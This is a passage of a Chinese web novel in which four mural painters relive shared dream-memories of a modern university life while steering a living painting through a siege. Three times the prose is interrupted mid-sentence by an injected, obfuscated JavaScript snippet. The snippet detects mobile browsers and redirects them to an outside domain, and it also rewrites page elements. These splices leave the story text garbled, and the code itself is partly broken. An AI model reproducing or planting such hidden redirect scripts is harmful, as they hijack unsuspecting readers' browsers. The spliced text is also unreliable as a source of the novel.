“乙组在小乙经历困顿时非但不出手,反而唯恐天下不乱地添柴火,这还不够,他们还为了他走上‘修行’的大道凭空造了许多苦难,像是进城的那场刺杀、家宅三五天起一次火,所以小乙最终因为绝望走上歧路。” 周蕴欣慰道:“所以真正的题眼是?” “是希望!”冯文并双眼发亮,激动得快要扑腾起来,“是来自‘神明’的希望!” “是了!也因为这样,迟老弟和老头子代入自己才会绝望地放弃,而他们一走,后来面对佛寺的大火,剩下那煽风点火二人组完全无法控制,才......” 没等冯文并说完,邱德菲就不耐喊起来:“有相。” “好。”有相应了声又开始走流程,转场的壁画和沙盘又闪起来,“恭喜各位,进入第二轮的第二场......” 冯文并闻言咆哮道:“什么?还有第二......” 14. 第十四章 魔生 与此同时,挡在五感前面的光幕轰然落下,周蕴轻车熟路地捞了几次又捞出个残片: 还是在同一个场景。 ——“喏,之前说过的,那个石窟保护设计的比赛,我报好名了,各位有什么灵感?”女子推门而入将肩上的包袱甩下,一把坐在光屏前。 石窟?周蕴只觉得心累,她在这“须弥界”里都对石窟这个词有阴影了。 ——“这次我就不参加了。”男子悻悻道。 ——“说笑,你是不是又想偷懒,就等我们出主意?”女子无情嘲笑。 周蕴奇道:这男子那股不知天高地厚的欠揍气质竟然全不见踪影。 ——“你们加油,我就不参加了。”男子瞧着心情有些低落,垂着头眼神落在手掌上一个发光的令牌上。 ——女子二号问道:“怎么了?” ——“没,就......不是很感兴趣。” 前后文都接不上的周蕴都能听出这借口是随便扯来的,估计他自己都不信。 ——“别啊,这个比赛含金量可高了,如果得了奖就能去那实习,有这履历,保研能加分呢!而且我们配合这么多次,连分工都是现成的......”女子一号还在劝。 这话中,那种陌生又熟悉的诡异词汇太多了,周蕴消化了好一会,也只懵懵懂懂拎起个大概的主干。 ——“你们去吧,最近有点事要忙。”男子起身离开。 ——“去忙去忙,不多你一个。可别我们出了方案,到时再眼巴巴过来求我们加入。”女子一号冲他背影嗤了一声,也没再管他。 光幕渐渐散去,风沙满天的场景虽迟但到: ——“我们来定个暗号吧,如果真的失散了,就通过这个相认。” ——“好,就那句‘劝君更近一杯酒,西出阳关无故人(注1)’,可好?” ——“好!就这么说定了!” 这次周蕴听出了声音的来处就是捞出来的残片里那几个主。 被拽回现实,周蕴只觉得恍如隔世。三面壁画仅剩下中间一面还亮着,画面陡然放大了几倍,原来还能看到举国各地的风光,如今只能瞧见京城的一小块,仔细看不难发现可见范围是以小甲为中心向四周发散,只要他一移动,取景范围就跟着变化。沙盘也是,缩成中间一小块,小甲走到哪,画中风貌就显示到哪。 “这怎么回事?”冯文并摸不着头脑,“题呢?” 有相尽职尽责地回道:“还是那个题目,只不过场景更加细腻丰富。” 冯文并:“......” 就像是芥子世界突然放大了许多倍,许多事物也更加清晰起来,众人适应了好一会才把握准了那个度,好在期间时间流速也慢了许多。 此时的小甲正在朝上,青年帝王大手一挥,不知道赏了个什么,轮椅上的小甲恭恭敬敬地拜谢领恩。 众人大概估算了日光明灭的次数,此时应是小甲从梯上摔下来的两个月后,这其中小甲一直在宅中养病,也没见什么意外发生,当然仅限于小甲身边,现在他们能看见的范围也有限,顶多能看到十分之一的京城。 朝中的小甲正要退下,却见新贵小乙一步上前,不知同皇帝说了什么,然后这位风华正茂的皇帝就颇为满意地点点头,在一众臣子中指了两人出列,派了份工作给二人和小甲。 冯文并嘀咕道:“小乙这又在搞什么?” 刚才转场的时候,许是没经过第一轮的洗礼,他是四人里面最晚缓过来的,整个人都没有之前那样阳光开朗了。 只有他自己知道,他后背已被冷汗浸湿了,此时心中满是劫后余生的庆幸。 他不想再来一次了。 像被只大手拨动了一样,时间飞快流转,待到稍缓下来,见小甲坐在轮椅上,被人推着在一处官衙中穿行,衙中的公职人员来来往往好不热闹,但相较之下,他的两个同僚那却更为热闹,非但要处理比小甲多上几倍的公文,还时时要接待客人,两个院子里的所有人都焦头烂额。 视线拉远,能见着官署上写着两个字:考院。 “让一个在上届党争中的牺牲品来当主考官,这小皇帝也是妙人。”冯文并神色一缓和,本能地又开始坐不住了。 只听他大言不惭地评论:“科举这事水深得很,如果能坚守底线,那真是大贤了。” 日光明灭了好一会,冯文并望着小甲那板正的腰板目瞪口呆:“他好像真是大贤。” 像是约定成俗一样,十多年过去了,举子客栈的光景依然如昨,只不过众人投奔的方向不只东西两个,客栈也没遇上那么离奇的火灾。 然而小甲的门第却无人踏足——因为一开始小甲就将他们拒之门外,他把所有的缝都堵上了,每天就两点一线地过日子,不对,是三线,他还要上朝。 一路无话,考完后,阅卷时,那其中的暗流较当年运河上邪祟刮起的风暴有过之而无不及。那时还只有东西两党,相互钳制不敢做得太明目张胆,而今旧党新势混杂在一处,只要钱权势有一样沾边就都能凑一份,按冯文并的话,这些操作就算跟小甲没关系,以后倒腾出来也必定干净不了。 放榜之日如期而至,考院早已挪了个位置,前面的广场较十多年前宽了几倍,人挤人的场面稍稍缓和了些,但耐不住考生数量也多起来,所以依然十分拥挤。 又一金色卷轴高悬在考院前的高墙上,御用的黄色和不怒自威的龙纹仿佛昭示着这就是世间最权威最公平的考评结果。 随着主考官小甲一声令下,卷轴从半空展开,日光下的金榜反射出耀眼的光芒,光顺着众人的瞳孔扎进头脑中激起光幕。 还是原来那个场景,只不过男子不在了。 ——“刚收到通知,说这个项目参加的人太多了,所以额外颁布了一个门槛,需要教授级别的推荐信。”女子一号懊恼道,“咱们系就一个教授,这学期还没见到他人呢,他老人家日理万机,也不知道管不管咱们这事。” ——“没办法,图都画好了,就差这临门一脚,走,碰碰运气去。”这是个从未露过“真容”的声音,刚出来就震耳欲聋,依稀能辨别出是个女声。 等等,没出现过——所剩三人中唯一一个没有出过声的就只有一人——她自己。 周蕴脑筋飞快转动的同时,情境也迅速变换。 眨眼间,场景又落到一间明亮的屋子里,三人围着一名端坐的老者,老者面前也摆着个光幕。 ——“教授,您能当我们的推荐人吗?”女子恭恭敬敬把一张纸递到老者前面。 ——“哦,是你们几个啊。”被称为教授的老者十分和蔼亲切,慢悠悠地看起了纸上内容,“我听说过你们。” 然而这句话说完画面就像静止了一样,不知过了多久,周蕴才意识到不是画面不动了,是那老者一动不动始终保持着一个姿势,以致于其他人也跟着不敢动。 许久之后,那女子终于按捺不住。 ——“可以吗?教授?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536092|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>——“啊?”老者好像被惊醒一样,尴尬一笑:“当然可以,但是有个小要求。” ——“您说。” ——“在成员里加上冯文并的名字。” 冯文并。 三个字仿佛三团巨型烟花,嘭嘭嘭三声震天响,所有模糊不清的人脸和声音都如灰尘般被这三声震落了,满目清明。 周蕴这一惊非同小可,此前她就总觉这些场景这些人莫名熟悉,有过些猜想但很快被抹去,或许是自己觉得荒谬,亦或是什么刻意而为之。 云里雾里中,场景再次变换,那名女子一号——也就是邱德菲毫不犹豫地拒绝了教授,气冲冲拉着周蕴和女子二......时苑从房中走出。然而外面的世界却和周蕴见过的大不相同,众人打扮得十分清凉,短褐穿结,就在这时,许多场景和常识一股脑从那三个字打开的缺口涌进脑海,在被洪流淹没前,周蕴透过自己的眼角看到那教授,他的五官与冯文并极为相似。 洪流和梦境都以遥远的一声“大不了不参加了”结束。 周蕴骤然清醒,睁眼时,刚好见到各位新科中举的学子被簇拥上高头大马,往京城各个方向而去。 接受了洪流的洗礼之后,看着晃眼的金榜,周蕴短暂地也陷入了蝶梦周还是周梦蝶的困惑中...... 不知是不是因为没人想做第一个戳破泡泡的人,四人保持了诡异的沉默。 “各位.....我,”那三个炸雷一般的字的“代表物”冯文并率先打碎沉寂,“我有点想放弃了,那个真相我好像不太想知道了。” 三人蓦地转头。 这个人的影子与画面中的人重合的一刻,周蕴隐约捕捉到了些之前从“漏掉”的残片。 他们四人竟然有那么深的渊源?她无端想起佛经中的前世今生、轮回等玄奥的说法。 “怎么了,心虚了?”邱德菲冷笑。 洪流中真实感虚幻感交替笼罩着周蕴的灵台,那几个片段来来回回在她脑中倒放重映倒放再重映,直到这话一出,才彻底将她拉回“当下”,作为壁画师,来自须弥山周氏一族的周蕴。 “心虚什么?”冯文并显然没感受到邱德菲的恶意,他垂着头,双眸暗淡起来,声音听起来有些喑哑,“只是对真相不是很感兴趣了。” 周蕴蓦地察觉不妙,想阻止邱德已来不及。 “冯文并,你是不是想起什么了?”邱德菲气势逼人道。 冯文并刚刚说不感兴趣的时候,神情语态与在周蕴“梦”中的那位如出一辙,也怪不得邱德菲会生气。 若不看前后情境,当然也没能看全,理论上应该是邱德菲占理,如若放任此等风俗,那与此时在画中游街的那些靠门路才中举的举子有何分别。 但情感上,她只觉得或许另有隐情,具体是个什么情也无从得知。 然而,不占理的冯文并自己却先委屈起来,带了些许怒意道:“我的家事要你管?” 周蕴眉头一皱。 “对......对对,”邱德菲被气笑了,抱着手讽刺道,“确实是你的家事。” 周蕴知道她的言下之意,但见冯文并的反应和他的为人又觉得哪里不太对,然而容不得思考了,眼见下一秒不愿争辩的冯文并就要按下石板背面退出的开关。 周蕴:“住手.......” “够了,你们俩说的是一个事吗就吵!”时苑大声喝道。 三人愣住。 原来“菩萨”也会怒。 15. 第十五章 南柯 四人中最沉静最稳定的时苑一声暴喝,比冯文并说要退出的影响还大,周蕴只觉被一道惊雷劈中,悍然震碎了蒙在梦境之上的“布”,梦中场景缓缓铺开—— 那是另一个周蕴的一生。 那是个与当下完全不同的世界。 天的蓝附了层薄薄的灰,山川河流皆被烙上人的印记,人的数量更是前所未有。聚居地的房屋所用之材料,不是当地生长最繁盛的树木,而是清一色诞生于同一材料同一工艺的钢筋混凝土,房屋的朝向和空间不再顺从于自然,而是随人心之所欲,无论多么荒诞的想法都能落地,无论多么险峻的地形都能扎根。天地万物看似与人联系更为紧密,却又仿佛离得更远了。 周蕴生于小城,作为家中独生女,家中虽不富裕,倒也不至于捉襟见肘。但他父母却是正经从贫穷家庭一路打拼上来的,强烈的忧患意识刻入骨髓,并在周蕴年幼时就将此强行灌输给她。 小时候的周蕴,路过琳琅满目的透明橱窗,即使看上里面的东西,脚步也几乎不停,顶多眼底闪过一丝亮光,像是看了一眼美丽却与自己无关的风景。她不敢表达,因为只要一提,毫无意外会被质疑,原因是这东西太贵了、不实用、骗小孩子的、家中不富裕......就这么几个,父母也不想着换一个。 很小的时候,也不知自己为何无缘由地喜欢画画,她靠考得一次好成绩换来的画画兴趣班,结果第一天放学,她兴高采烈把作品拿回家,却换回了一句“浪费颜料钱”。 渐渐地,她对喜欢的东西变得无动于衷,到后来,她好像忘了什么是喜欢,什么是想要的,好像他们说应该怎么样就怎么样,他们说什么东西是好的,那就是好的,他们质疑的就都是不应该的。 好在学业方面,她一直很争气,小学、中学、大学都是靠自己优异成绩一路畅通,与奖学金相抵,没花家里多少钱,所以她自然也成了父母的骄傲,家族的骄傲,每次聚会都会拿她出来捧一捧。 在她父母吹嘘的时候,周蕴却跟个局外人一样冷眼旁观,她不明白有什么好骄傲的,甚至觉得丢脸。 养出一个不能自主动弹的提线玩偶,这种教育也算成功?荒唐至极。 然而事情在读大学的时候发生了变化。 在填报志愿时,她凭借当年印象深刻的“颜料浪费钱”事件,进而判断自己应该是“喜欢”画画的,于是她没有犹豫地报了建筑学,与她从小玩到大的朋友邱德菲成了大学同学。 二人与同系的同学时苑和冯文并不打不相识,周蕴别出心裁,时苑稳定缜密,邱德菲雷厉风行,冯文并天马行空,相似的理念、默契的配合,四人强强联手所向披靡,无数次杀入各类专业比赛,斩获众多奖项。 在四人组刚成立的初期,周蕴却只是一个高效的绘图工具,邱德菲高中时一次偶然拉她参加的比赛,让她“挖掘”出自己这项技能。那时候的她,在方案讨论时基本没发表过自己的想法,但在后期,无论多么天马行空荒诞离奇的方案,都能在她手下迅速成型、落地,是整组人最为坚定的大后方。 几次之后众人渐渐习惯了这种配合,直到一次时苑见到她扔在废纸篓的废稿。 “你这想法不比老冯的好多了?”时苑仔仔细细将草稿上的折痕熨平。 “这就是按他的想法画的图纸。”周蕴一时又恼又尴尬,“不过他这方案确实有点理想,既然你和邱邱否决了,留着也没用,扔了吧。” 没想到时苑却不为所动,认真道:“这不是老冯的方案,虽然表面看上去很像,但从出发点就不一样,这个解决策略很妙啊。” 周蕴当然不相信,她的想法怎么可能很妙。 时苑生于大城市的富裕家庭,不但性格好,在设计方面也是个天才,但她本人却低调到一种境界,总给人一种超脱的感觉。 这件事情周蕴也没记在心上,直到之后的课程汇报时,“资深演讲高手”邱德菲在讲完最后一页ppt后,依旧拨动手指,随着鼠标滚轮一动,一张连幻灯片的制作者周蕴都没见过ppt出现在大众视野,页面顶上赫然写了三个大字——方案B,继而,一个脱胎于周蕴废稿中的完整方案展现在所有人面前,图纸甚至比第一个方案精细,最终斩获了所有老师的好评。 时苑瞒着她,与邱德菲和冯文并合力让她的想法落了地。 之前她是众人的大后方,这一次,众人把她托举起来,并且让她明白——不妄自菲薄,要相信自己,她值得。 事后,周蕴想找几人兴师问罪—— “你的想法特别好。”邱德菲笑得粲然。 冯文并也跟着没心没肺地笑:“是啊,早知道你这么能耐我就不班门弄斧了。” 时苑没说话,只是笑。 自此,周蕴不再是个画图机器,她成了四人小组的主心骨。 转眼间到了大五,她因为成绩优异,早早就拿到了一家知名老牌设计公司的offer,如家里人期望的那样,父母甚至破天荒地重金摆下酒席庆祝。 但提前去实习的周蕴却高兴不起来—— 一方面,她无疑是喜欢建筑设计的,但受到四人组的影响,她对古建筑已经萌生了浓厚的兴趣。 而另一边,也是最重要的,看上去风光无比的设计院,实际上已经走上了穷途末路,行业颓势难掩,资本恨不得压榨完员工最后一滴血汗。至于工作内容则全都是前作的生搬硬套,面对甲方的无理要求,放弃底线是常有的事。在公司的角度,最为理想的人才大概是任劳任怨随时待命的画图机器人,个人的想法于他们眼中,就像是讳莫如深的锈斑,一旦滋生就会成为公司这个大机器运转的阻碍,需要及时除去。而且在各大势力盘根错节的老牌公司,无人脉或者拍马屁的技艺傍身,职业生涯几乎是一眼望到尽头。 “看来你不喜欢那里?”时苑问道。 “加班熬夜的是我,最后出错背锅的还是我......”周蕴托着腮,将目光望向天上遥不可及的星子,“而且我发现我好像并不喜欢这种生活。” 换成以前,周蕴自然毫无异议地接受,但如今的她已经不是提线木偶,她有了自己的想法——她很清楚,这不是她想要的生活,但若是放弃这份工作,她则将要面临的是整个亲族的质疑,还有未卜的前途。 梦的景象戛然而止。 壁画里喧闹一天的京城也终于归于平静。 真安静啊。 心头无端掀起一阵庆幸,周蕴叹道:幸好只是一场梦。 然而下一刻,她就在诡异的气氛中想起了“入梦”前发生了什么。 “我只是想要我爸,怎么了?”冯文并的声音喑哑,面上的怒色消了,却融了些哀色。 什么跟什么? 话也奇怪,人也奇怪。在周蕴的“梦”里,这人成日嘻嘻哈哈,喜怒哀乐四种情绪只有头尾两个跟他有关。 “你爸可真是个好教授啊。”邱德菲却跟个炮仗一样,一点就着。 这又是什么?周蕴只觉得人麻了,目光不自觉扫到时苑身上,下一刻她忽的福至心灵—— 时苑:“冯文并,不要急,仔细说说你看到什么。” 周蕴:“邱邱你先冷静,先听老冯说。” 周蕴和时苑几乎同时开口。 冯文并和邱德菲几乎是同时顿住,震惊地望向周蕴,剑拔弩张的气氛登时消散,周蕴这才后知后觉意识到刚才一急之下,顺口喊出邱德菲的昵称。在梦里,邱德菲这个暴脾气,只有周蕴能稍微按下来。 “‘邱邱’?难道我们做的是同一个梦?”震惊过后,冯文并很快又恢复成那副丧样子,“梦里我爸生病了,我却无能为力。” 其他三人又一次震惊。 “不是,明明我们.......”怒意未消的邱德菲脱口而出的话被她的理智及时拦住,她一时有点无措。 “我的梦里不是这样的。”她斟酌道。 “他被我气得心梗了。”见邱德菲身上咄咄逼人的气势泄了一半,冯文并倒是愿意多说了一点,他苦笑一声,“幸好只是个梦。至少在这里,我双亲都还建在,身体康健。” 周蕴和时苑交换了个眼神,随即时苑拦下了邱德菲的话头:“你们要不要听我的版本?” 周蕴竖着耳朵听时苑讲她的故事,从出身到高中校友冯文并,再到四人组波澜壮阔的大学时光,最后以寻求冯教授的推荐无果结尾。 “怎么可能?在我梦里他都快不行了。” 冯文并认真听完,从梦境中带出来的恐惧渐渐稀释,总算冷静了些,“而且我是什么人你们不知道吗?怎么会做出这种事?这个比赛我也没印象啊,这么好玩我怎么会不参加?” “我的故事也大差不差。”邱德菲抱着手,显然也回过味来。 “还有,冯教授是你爸?你竟然瞒着我们这么多年?”语气听着像兴师问罪,却只是流于表面。 “低调嘛,不然要应付的闲话太多,反正我从来也没有靠过他。”冯文并皱眉道,“但他怎么能这样?” 邱德菲切了一声,没再理他。 “这么说,前面的故事我们基本是一样的,只是视角不同?”周蕴很快抓住重点。 “是哦,”冯文并挠了挠头。“为什么会这样?” 被周蕴这么一点,邱德菲反应过来,连同时苑在内,三人只觉得浑身起鸡皮疙瘩。 只有冯文并没反应过来:“你们怎么都这么严肃?” 真相。 有相所说的真相。 之前掠过的念头再次在周蕴的脑中蔓延开来,她不由得开始回顾自己作为须弥山周氏一员的记忆源头,她惊悚地发现,她努力翻找尘封记忆的过程,与捞起片段的感觉如出一辙。 但后面的内容又为什么会不一样? 应该还缺了什么东西。 “我们来对一下最后一幕。”时苑显然与周蕴想到一处去了。 邱德菲又一次陷入不是很美好的回忆:“刚和教授完吵架。” “一样。”周蕴答道。 冯文并显然也不是很想回忆:“跟我爸在去医院的救护车上。” 众人一时陷入沉默,两个靠谱的在仔细分析形势,另外两个却是不知道被记忆带到了哪里,与此同时,活壁画和活沙盘片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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过了良久,好似是怕众人拖慢进度一样,消失了很久的有相终于忍无可忍,跳出来刷了波存在感:“各位,讨论哲学问题往后多的是时间,请专注当下的题目。” 众人:“......” 冯文并的脑子炖成一锅粥,一时也不知道该不该退出,模模糊糊中听着有个声音指了条路,于是顺着有相的话瞥了眼沙盘,然后惊呆了:“这哪?” 刚才自动播放时众人也不是没有关注,但画面内容单调无比,都是小甲三点一线的生活,然而就在邱德菲和冯文并闹着要离开想这一会功夫,朝堂上不知发生了什么,直到众人焦点回归,已见到小甲被人剥下官服丢到大牢里了。 “这地方不是当年关小乙的?”邱德菲疑惑道。 她也拿不定主意,于是索性先再看看——毕竟撇下队友好像也不太厚道,有过一次前科的冯文并还没离开呢。 “啊哈!原来你刚才也开了小差!”冯文并无情嘲笑,“还骂我!” “老冯,看看原因。”周蕴忍不住打断,把这匹要脱缰的野马抓回主线。 “我哪知道......”冯文并一脸懵,反应了好一会才意识到他现在可是个官宦子弟,随即把原来的脑子翻出来重新安上。 “果然,”他研究了片刻,而后又重拾那副欠揍的得意表情,“科举那事被翻出来了,你们看旁边牢房和正在刑堂上的那两位,这俩正是当年考院里的两位同僚,才五六年都这么老了,咱小甲......” 他本想说小甲还没什么变化,目光移动才意识到其实小甲的头发也已经半白,腰也躬了一个不小的弧度,较他那两位同僚有过之无不及,若非作为主角,可能几人都没能认出来。 “会是什么罪名?后果呢?”周蕴问。 “大小都有吧,要看情况。” 这时画面尽头突然了出现一个熟悉的身影,冯文并惊讶道,“小乙?” “果然,他确实是黑化了。”邱德菲冷哼一声,“一副小人得志的模样,也难怪当年小甲会割袍断义。” 却见小甲挺直了背盘腿坐在牢中的草席上,任凭小乙说什么都无动于衷。二人割袍断义后,小甲再也没有正眼看过这位曾经的知己。 此时,无人注意的画面一角,一匹快马的影子闪过,直入宫墙,不到片刻,一道圣旨就从宫里来到狱中。 束手无策的众人看到了转机。 就像当年小乙一样。 圣旨是夜里来的,小甲一行人则近乎是踏着第一缕晨光出的京城,不知是何地出了十万火急的战事,小甲跟随着一队军马浩浩荡荡往南疾驰而去,小小甲竟也在军中。 路上的时间仿佛被按了快进键,画面和时间飞速流转,直到慢下来时,众人才发现那是通往小甲当年贬官之地的必经之路。 不到一会,绣球姑娘的墓到了。时过境迁,那棵亭亭如盖的大树已被拦腰砍断,墓碑缺了个角,掩在一堆杂草中,整座山都是被马蹄践踏战火焚烧的痕迹。 随着小甲一路往南,众人很快看到视野尽头熟悉的小城。 其时那座注入小甲诸多心血的小城正被一队兵马围得如铁桶一般,城中士兵和兵马正在小甲当年修建的城墙上激烈交锋。 交战之地,当年小小甲放风筝的草坪已被践踏得坑洼不平,炮火卷起了滚滚尘土—— 说时迟那时快,一个熟悉到不能再熟悉的残片忽的在周蕴的脑海中闪现。 ——“劝君更尽一杯酒,西出阳关无——故——人——(注1)” 16. 第十六章 希望 这念头好似一道白光直击天灵盖—— 是了,还缺这个神秘的“暗号”。 适才翻来覆去地回忆,混乱的片段在周蕴脑中打乱重组,排列拼接成了一条连续的时间线,却唯独忽略了这熟悉又前后不接的场面。 要解开谜题还少了关键部分。 周蕴一面想一面将注意力由内转到外,心中蓦地咯噔一下,下一刻双眸映出画中带着杀气的火光。 “可以改动,支棱起来。”时苑手起刀落,又一团火顺着城墙上的大炮砸进叛军队伍里。 下一刻风云突变,另一方向的城墙,防线被叛军撕出了道口子,顷刻间铁蹄屠刀越过突破口冲入小城的大街小巷,小城被染上了殷红的底色。与此同时,小甲跟着一众援兵刚刚翻过最后一座山头,眼睁睁看着这座自己苦心经营十年的城池沦陷。 随着援军的领头在山顶爆喝一声,排山倒海的将士齐齐冲向小城,与乌泱泱占满近乎整个平原的叛军撞在一处,血色一团团在画上炸开,一滩又一滩,一层又一层,将血腥的底色晕得越来越浓。 众人在“旁观者清”的角度真情实感地体验了真实的战场,本以为能运筹帷幄,轻易掌控战局方向,结果却不然。在平常,打架斗殴的动作尚且难以看清,何况此时时间跟被什么撵着似的跑得飞快,战场上更是一整个眼花缭乱,只能依稀看到个大概战况。浓烟混着血色和刀光剑影,每个个体都像是一只只长相相似的蝼蚁,只能靠衣着来区分。 “雨停了,时苑姐,你还是用火试试好了。”冯文并手忙脚乱将石板上还未降落人间的雨滴一键清空。 他刚惨遭建模生涯滑铁卢,下了场失败的雨,丝毫没有影响战局也罢了,还把土堆起来的城墙冲烂了,无差别地压倒了不少人,无奈只能让贤。 这货自恃读了《封神演义》《三国演义》《说唐》等无数本打仗相关的话本子,加上还算有点小天赋,竟无端萌生出一股自己定能决胜千里的虚假自信。 “周蕴姐,我来帮你。” 一声喊完,手中木刀也光荣完成任务,下一刻,周蕴为叛军精心设计的地坑登时灌进了满满一坑的水,掉进坑里拼命挣扎的叛军确实是爬不出来了,但要命的是地坑四壁骤然崩裂,整个坑陡然扩大了几倍,将周围所有活物死物全都填了进去,小甲也险些没了。 闯祸精尴尬一笑,立即溜到别处:“大姐头,我来也!” 三两道水汽眼看就要落地,合上箭雨附近刚起的沙尘暴。 “滚。”邱德菲幽幽骂道。 四处碰壁后,焦头烂额的冯文并只觉得满身力气无处使,索性破罐子破摔瘫在座位上:“这样下去不行。” 谁都知道这样不行,但谁也不知道怎么样才行。 他们可操纵大局,凭空制造出个恶劣天气,巨大天灾,把所有人事物一股脑都淹了,但显然不可行,按照第一轮和前面的经验,更改太多,只会让局面越发不可控;他们也可以改变战场上的细节,让射出的弩箭稍微偏一点,给交手一方脚下使绊子,但这点影响明显也改变不了战局。 “咦?”冯文并忽的直起身来。 顺着他的眼神望去,那是一队穿着“奇装异服”的蝼蚁,死里逃生的老弱妇孺们被原本守城的兵士像铁桶一样围在中间,艰难地往城外方向移动,在乱局之中异常瞩目。守城的大多都是城中的壮丁,面对叛军毫无人性的屠戮,已无力保护城池的他们,只能力求最大程度保护百姓和家人免受血光之灾。那“铁桶”其实并不牢固,屡次被冲溃,但很快又集结成型,到后来中间稍壮实一些的妇孺也扛起了各种朴素的武器,成为保护圈的主力。 冯文并终于找到力所能及的事情,当下全身心投入其中,在他的帮助下,这一支队伍惊险地逃过一次次围追堵截,但要冲出突围依旧难如登天。 也在这时,援军的主将和副将终于在混乱的战局中分辨出形势,二人不愧为久经沙场之辈。 从众人角度,只见被冲散的援军在混乱中渐渐分离成两支队伍,将军副将各领一队,主将所带的队伍人数较少但都是精锐,他们冲在最前杀出一条血路,趁叛军来不及调配,小甲所在的副将队伍立刻接上,巩固战线,如此循环往复,不一会功夫,竟已杀入城中,连上了那一队被重重包围的“奇装异服”队。 四人看得目瞪口呆,他们站在“神明”的视角总观全场,竟远远不如本应迷在里面的当局者。反正也没什么架子,他们立刻转移策略——先弄懂凡人们的意图,再配合画中人。 听着虽然荒诞了一点,但怎么不算是另一种“天人合一”呢。 “他们想接人后退到山里。”邱德菲得出结论,“绣球姑娘那座山下面有江流穿过,江畔又是绝壁,是个易守难攻的地方。” “为什么不反攻啊。”自诩“军事家”的冯文并满脸的不甘心,“趁他们屁股还没坐热,完全可以攻上去啊。” “白痴吗?” 邱德菲怒翻了个白眼,笔下的风一阵接着一阵,“援军要有准备至于落到这种境地?而且那些百姓怎么办?” “快!” 冯文并正颓丧地消化情绪,被周蕴时苑同时一声喊醒,他整个人弹起来,一阵颗巨大的蘑菇炸上了天,滚滚烟尘过后,山脚被炸出了个豁口,山另一侧的江流从豁口处奔腾而下,瞬间改道。 “绣球姑娘保——佑——啊——” 冯文并哇哇乱叫,手也跟着哗啦哗啦乱舞,下一刻,汹涌的江流巧妙地避开了援军,硬生生将叛军大部队拦在江的另一畔。 局势稍稳,四人心里绷紧的弦终于能够放松一会,他们心累地靠在椅背上,与刚才战火纷飞生离死别的场面相比,之前讨论的话题无论是梦也好,退出也好都不值一提,敲过退堂鼓的两位人士也没再提起,只是静静看着。 “小小甲呢?”邱德菲一声又让众人没心思躺尸了。 四人八只眼睛在画面和沙盘上一个一个人地扣,却一无所获。 时间流逝的速度难得缓和下来,夜色渐浓,山外驻扎着随时准备攻山的叛军,有半个地头蛇“小甲”和土生土长的百姓,山中的布防很快设置完毕,各个卡口都立着临时的哨台,主军营扎在山腰处,将百姓们围在中间。 明亮的篝火照亮营地,却驱散不了梦魇,开始时百姓们从还能痛哭流涕,到后来泪也干了,一群人安静地靠在一起,绝望地望着天。 天上有没有星星,众人也瞧不见。 小甲撑着一根粗树枝从主营帐走出时,恰好撞见这场景,这位他们曾经的父母官和以前一样毫无架子地走近人群,亲切地问候了几个老熟人,然后坐到最中央。 “他在......讲故事?”冯文并把头探得老长,眼神在沙盘和壁画上反复横跳,仔细辨认后得出了这一结论。 小甲手中拿着一本破破烂烂的旧册子,念了什么四人自然无从得知,但渐渐地,百姓们的眼神有了焦点,视线纷纷落到篝火边头发花白身形有些佝偻的小甲身上。似是讲完了一个故事,他翻过一页绘着荒漠沙洲的图画,又开始讲下一页,那是一幅海岛仙山——正是当年运河上风暴后彩虹出现的一幕。 绣球姑娘的墓就在附近,隔着人群远远地望着这边,微风吹过山间,坟头的草木跟着摇晃,好像听得津津有味,还频频点头。 只不过当年不解风情的少年如今已经风尘满面,腿疾缠身。 “现在怎么办?”邱德菲不太爱走煽情路线,见百姓被安抚下来,操心劳碌病又犯了。 “外面的叛军虎视眈眈,消息也传不出去,就凭山里这些人能行吗?” 现在他们的视野比小甲大不了多少,对山外的世界也几乎一无所知,根本不知道破局的契机在哪。 正说着,从山腰的树林中飘起了无数个小光点,星星点点的微光落到营地里。 冯文并茫然回头:“时苑姐,这是整哪一出?” 这如萤火虫一样的光点正是时苑的手笔。 “不知道怎么办,就给点希望吧。”时苑面无表情道。 “是了,”周蕴表示赞同,“小甲也不知道破局的点在哪,但还是成了他们的希望,我们也行,剩下的交给天命好了。” 冯文并的脑子总算做了点有用功:“就像你们刚才说的!和小乙组不一样的地方!希望!” “萤光”持久不散,温柔地领着人们进入梦乡,唯有小甲还醒着,他举着火把蹒跚着来到绣球姑娘坟前,动作十分不利索地拔草,而后又将爬满青苔和裂纹的墓碑擦得一尘不染。许久之后,他艰难地靠着墓碑坐下,从怀中又取出那本册子,开始画起来。 ——“到时我们要是失散了怎么办?” ——“我们来定个暗号吧,如果真的失散了,就通过这个相认。” ——“好,就那一句‘劝君......’” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581472|169839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳中幽幽传来熟悉又遥远的对话,画面依旧埋在沙尘中,声音主人已经呼之欲出,是冯文并和时苑。 “那句暗号,你们有什么想法吗?”冯文并突然说道,这位暗号的提出者表情竟带了些恐惧。 周蕴坦然道:“我也听到了。” 邱德菲:“‘羌笛何须问杨柳(注1)。’” “春风不度玉门关(注1)。”冯文并脱口而出。 “这不就对了。”邱德菲松了一口气,“对上了然后呢?” “不是不是!”冯文并急了,“这不是小学生必背古诗词吗?人人都会背的好吧,我的暗号不是这个。” 邱德菲:“......” 周蕴:“劝君更尽一杯酒(注2)。” 